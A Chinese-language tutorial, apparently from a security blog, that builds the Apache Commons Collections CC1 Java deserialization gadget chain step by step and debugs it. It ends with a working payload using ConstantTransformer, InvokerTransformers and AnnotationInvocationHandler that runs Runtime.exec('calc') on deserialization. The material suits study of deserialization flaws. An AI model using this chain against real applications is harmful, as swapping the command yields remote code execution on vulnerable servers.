                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
           
//我们最终的目的是通过反序列化的ReadObject方法来执行以上代码,尝试通过之前的找好的链执行
  Transformer[] transformers = new Transformer[]{
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
            HashMap<Object, Object> map = new HashMap<>();
            map.put("a", "b");
            Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
            Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);//获取构造器
            constructor.setAccessible(true);
            Object o = constructor.newInstance(Override.class, decorate);//实例化对象
            serializable("123.se111r", o);
            unserializable("123.se111r");

但是执行一下并没有按照预期效果弹出计算器。

问题一

还记的之前的那个

AnnotationInvocationHandler.java文件,存在readObject并且调用了setValue方法他调用setValue方法前存在几个if判断。那么就去打一个断点是否执行到了setValue方法。

CC1链学习分析插图7

发现这里的这个if判断压根就没过去。

关键点解释

  1. ​if (memberType != null)​ 的作用:

    • 这个条件用于检查当前成员是否仍然存在于注解类型中。
    • 如果memberType​为null​,说明该成员在注解类型的定义中已经被移除,因此不需要进一步检查。
  2. 类型检查:

    • ​memberType.isInstance(value)​:检查value​是否是memberType​的实例。
    • ​value instanceof ExceptionProxy​:检查value​是否是ExceptionProxy​的实例(用于处理异常情况)。
    • 如果两者都不满足,说明类型不匹配,需要将value​替换为AnnotationTypeMismatchExceptionProxy​。

​AnnotationTypeMismatchExceptionProxy​:

  • 这是一个代理对象,用于封装类型不匹配的错误信息。
  • 当反序列化后的对象被访问时,这个代理对象会抛出异常,提示类型不匹配的问题。

那么就是找到一个还有value的注解

修改为:

Transformer[] transformers = new Transformer[]{
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
       
            HashMap<Object, Object> map = new HashMap<>();
            map.put("value", "value");
            Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
////            for (Map.Entry entry : decorate.entrySet()) {
//                entry.setValue(runtime);
//            }
            Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);//获取构造器
            constructor.setAccessible(true);
            Object o = constructor.newInstance(Target.class, decorate);//实例化对象
            serializable("123.se111r", o);
            unserializable("123.se111r");


        }

问题二

虽然过去了第一个if判断但是,出现过去之后他会把value的值给写死了。

之前还有一个ConstantTransformer.java,我们看以下他的实现方法。

/*
 *  Licensed to the Apache Software Foundation (ASF) under one or more
 *  contributor license agreements.  See the NOTICE file distributed with
 *  this work for additional information regarding copyright ownership.
 *  The ASF licenses this file to You under the Apache License, Version 2.0
 *  (the "License"); you may not use this file except in compliance with
 *  the License.  You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 *  Unless required by applicable law or agreed to in writing, software
 *  distributed under the License is distributed on an "AS IS" BASIS,
 *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 *  See the License for the specific language governing permissions and
 *  limitations under the License.
 */
package org.apache.commons.collections.functors;

import java.io.Serializable;

import org.apache.commons.collections.Transformer;

/**
 * Transformer implementation that returns the same constant each time.
 * <p>
 * No check is made that the object is immutable. In general, only immutable
 * objects should use the constant factory. Mutable objects should
 * use the prototype factory.
 * 
 * @since Commons Collections 3.0
 * @version $Revision: 646777 $ $Date: 2008-04-10 13:33:15 +0100 (Thu, 10 Apr 2008) $
 *
 * @author Stephen Colebourne
 */
public class ConstantTransformer implements Transformer, Serializable {

    /** Serial version UID */
    private static final long serialVersionUID = 6374440726369055124L;
    
    /** Returns null each time */
    public static final Transformer NULL_INSTANCE = new ConstantTransformer(null);

    /** The closures to call in turn */
    private final Object iConstant;

    /**
     * Transformer method that performs validation.
     *
     * @param constantToReturn  the constant object to return each time in the factory
     * @return the <code>constant</code> factory.
     */
    public static Transformer getInstance(Object constantToReturn) {
        if (constantToReturn == null) {
            return NULL_INSTANCE;
        }
        return new ConstantTransformer(constantToReturn);
    }
    
    /**
     * Constructor that performs no validation.
     * Use <code>getInstance</code> if you want that.
     * 
     * @param constantToReturn  the constant to return each time
     */
    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

    /**
     * Transforms the input by ignoring it and returning the stored constant instead.
     * 
     * @param input  the input object which is ignored
     * @return the stored constant
     */
    public Object transform(Object input) {
        return iConstant;
    }

    /**
     * Gets the constant.
     * 
     * @return the constant
     * @since Commons Collections 3.1
     */
    public Object getConstant() {
        return iConstant;
    }

} 

这里就用到了,我们需要的另一个方法

ConstantTransformer

ConstantTransformer

的作用

ConstantTransformer是 Apache Commons Collections 中的一个 Transformer实现类。它的作用非常简单:

  • 无论输入是什么,ConstantTransformer都会返回一个固定的常量值

  • 在代码中,new ConstantTransformer(Runtime.class)表示无论输入是什么,transform方法都会返回 Runtime.class

那么最终的链子

/**
             * 整条链子的分析总结
             * 先使用ConstantTransformer将transformer的value写死
             * 然后调用Runtime.Class.getMethod方法获取到getMethod
             * 通过getMethod的invoke执行实例化方法得到Runtime
             * 最后调用exec方法弹出计算器
             * 通过TransformedMap调用上边的链子
             * 通过反射调用AnnotationInvocationHandler
             * 通过AnnotationInvocationHandler调用setValue方法从而调用checkSetValue方法实现执行以上所述的链子从而命令执行
             */
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
            HashMap<Object, Object> map = new HashMap<>();
            map.put("value", "b");
            Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
            Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);//获取构造器
            constructor.setAccessible(true);
            Object o = constructor.newInstance(Target.class, decorate);//实例化对象
            serializable("123.se111r", o);
            unserializable("123.se111r");

CC1链学习分析插图8

至此整条链闭环。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

NIDS开发之IP分片重组和TCP段重组
亚马逊EC2 SSM Agent路径遍历漏洞完成修复 攻击者可借此实现权限提升
管道魔法木马利用Windows零日漏洞部署勒索软件
疑似Kimsuky(APT-Q-2)针对韩国企业发起攻击
攻击者正利用OttoKit WordPress插件新披露漏洞实施攻击
Vulnhub:The Planets: Earth Writeup

发布评论